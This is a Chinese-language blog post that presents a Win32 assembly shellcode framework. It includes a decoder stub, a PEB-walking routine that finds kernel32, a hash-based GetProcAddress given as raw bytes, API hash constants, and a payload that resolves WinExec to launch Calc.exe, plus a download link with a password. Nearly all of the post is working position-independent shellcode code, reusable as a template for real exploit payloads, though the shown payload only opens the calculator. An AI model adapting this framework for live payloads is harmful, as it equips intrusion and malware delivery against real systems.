ShellCode架構(Win32ASM編寫)

標籤：style   blog   http   使用   ar   div   sp   代碼   log   

主要方法:

     使用宏的一切技巧讓編譯器 算出代碼的長度

     有較好的擴充性

 

include ShellCodeCalc.inc;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 程式碼片段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.code;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                     API Hash值;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;MessageBoxA     1E380A6Ah;LoadLibraryA    0C917432h;ExitProcess     4FD18963h;WinExec         1A22F51h;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                ShellCode 模型介紹;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;........................................................;解碼ShellCode    長度未知 ;JMP -> ShellCode;........................................................;GetKernelBase    長度已知 ;........................................................;GetPorcAddress   長度已知 ;........................................................;String           長度未知;........................................................; 可以變長的ShellCode;    抬高棧頂, 擷取函數指標;    完成ShellCode功能;........................................................;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                 ShellCode 宏定義部分;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>DECODE_LEN       equ DeCodeEnd - DeCodeBegin                      ;解密代碼的長度ENCODE_LEN       equ ShellCodeEnd - MyGetKernelBegin              ;加密代碼的長度KERNEL_BASE_LEN  equ MyGetKernelEnd - MyGetKernelBegin            ;MyGetKernelBase代碼長度PROCADDR_LEN     equ MyGetProcAddressEnd - MyGetProcAddressBegin  ;GetProcAddress代碼長度SHELLCODE_LEN    equ ShellCodeEnd - ShellCodeBegin                ;ShellCode代碼長度STRING_LEN       equ STRING_END - STRING_BEGIN                    ;字串長度dwGetKernelBase  =   DECODE_LEN - 5                               ;GetKernelBase  OffsetdwGetProcAddress =   DECODE_LEN + KERNEL_BASE_LEN - 5             ;GetProcAddress OffsetSTACK_LEN        equ 100  ;抬高棧頂的大小dwKernelBase     =   0h              ;KernelBase位移fnWinExec        =   4h              ;fnWinExec位移hUser32          =   8h              ;hUser32位移fnMessageBox     =   0Ch             ;MessageBox位移fnExitProcess    =   10h             ;ExitProcess位移;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                     解碼部分;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>DeCodeBegin:  ;重定位  call GET_EIP_1 GET_EIP_1:   pop ebx    ;解密代碼[不能使用ebx寄存器]  ;......    ;跳轉到ShellCode開始  jmp ShellCodeBeginDeCodeEnd:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                     MyGetKernelBase;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>MyGetKernelBegin:g_fn_GetKernelBase  db 064h,0A1h,18h,00h,00h,00h,8Bh,40h,30h,8Bh,40h,0Ch,8Bh,40h,0Ch,8Bh,00h,8Bh,00h,8Bh,40h,18h,0C3hMyGetKernelEnd:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                     MyGetProcAddress;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>MyGetProcAddressBegin:g_fn_GetProcAddress db   55h,8Bh,0ECh,56h,53h,51h,83h,7Dh,08h,00h,74h,6Bh,8Bh,75h                    db   08h,03h,76h,3Ch,8Dh,76h,78h,8Bh,36h,03h,75h,08h,8Bh,5Eh                    db   20h,03h,5Dh,08h,33h,0C9h,8Bh,04h,8Bh,03h,45h,08h,51h,8Bh                    db   0D0h,33h,0C0h,8Ah,0Ah,84h,0C9h,74h,11h,0Fh,0BEh,0C9h,0C1h                    db   0C8h,07h,83h,0C2h,01h,03h,0C1h,8Ah,0Ah,84h,0C9h,75h,0EFh                    db   59h,3Bh,45h,0Ch,74h,06h,41h,3Bh,4Eh,18h,72h,0D2h,3Bh,4Eh,18h                    db   73h,22h,8Bh,5Eh,24h,03h,5Dh,08h,0Fh,0B7h,04h,4Bh,3Bh,46h                    db   14h,73h,13h,8Bh,5Eh,1Ch,03h,5Dh,08h,8Bh,04h,83h,03h,45h                    db   08h,59h,5Bh,5Eh,0C9h,0C2h,08h,00h,33h,0C0h,59h,5Bh,5Eh                    db   0C9h,0C2h,08h,00hMyGetProcAddressEnd:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                     String;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>STRING_BEGIN:lpCmd db ‘Calc.exe‘,0CMD_LEN   = STRING_END - lpCmdlpszCmd   =   dwGetProcAddress +  PROCADDR_LEN             ;lpszUser32STRING_END:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                     ShellCode ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>ShellCodeBegin:  ;擴充棧空間 儲存棧環境  sub  esp,STACK_LEN  push ebp  mov  ebp,esp    ;得到Kernel32.dll的基地址  lea eax,[ebx + dwGetKernelBase]  call eax  or eax,eax  jz Exit_ShellCode  mov dword ptr [ebp + dwKernelBase],eax    ;遍曆匯出表 得到WinExec地址  push 1A22F51h  push dword ptr [ebp + dwKernelBase]  lea  eax,[ebx + dwGetProcAddress]  call eax  or   eax,eax  jz   Exit_ShellCode  mov dword ptr [ebp + fnWinExec],eax    ;彈出計算機  push SW_SHOWNORMAL  lea  eax,[ebx + lpszCmd]  push eax  call dword ptr [ebp + fnWinExec]  Exit_ShellCode:  ;擷取ExitProcess函數地址  push 4FD18963h  push dword ptr [ebp + dwKernelBase]  lea  eax,[ebx + dwGetProcAddress]  call eax  or   eax,eax  jz   ShellCodeEnd  mov dword ptr [ebp + fnExitProcess],eax    ;調用ExitProcess  push NULL  call dword ptr [ebp + fnExitProcess]ShellCodeEnd:nopnopnopnop;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                        End ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>ShowLen proc    ;測試長度    invoke crt_printf,L("Decode Len:",9h,"%d",0ah,0dh),DECODE_LEN  invoke crt_printf,L("Encode Len:",9h,"%d",0ah,0dh),ENCODE_LEN  invoke crt_printf,L("GetKernelBase Len:",9h,"%d",0ah,0dh),KERNEL_BASE_LEN  invoke crt_printf,L("GetProcAddress Len:",9h,"%d",0ah,0dh),PROCADDR_LEN  invoke crt_printf,L("ShellCode Len:",9h,"%d",0ah,0dh),SHELLCODE_LEN    retShowLen endpmain proc    ;invoke ShowLen  jmp DeCodeBeginmain endpend main

 

代碼:

    連結：http://pan.baidu.com/s/1bnGlW1T 密碼：o9m7

ShellCode架構(Win32ASM編寫)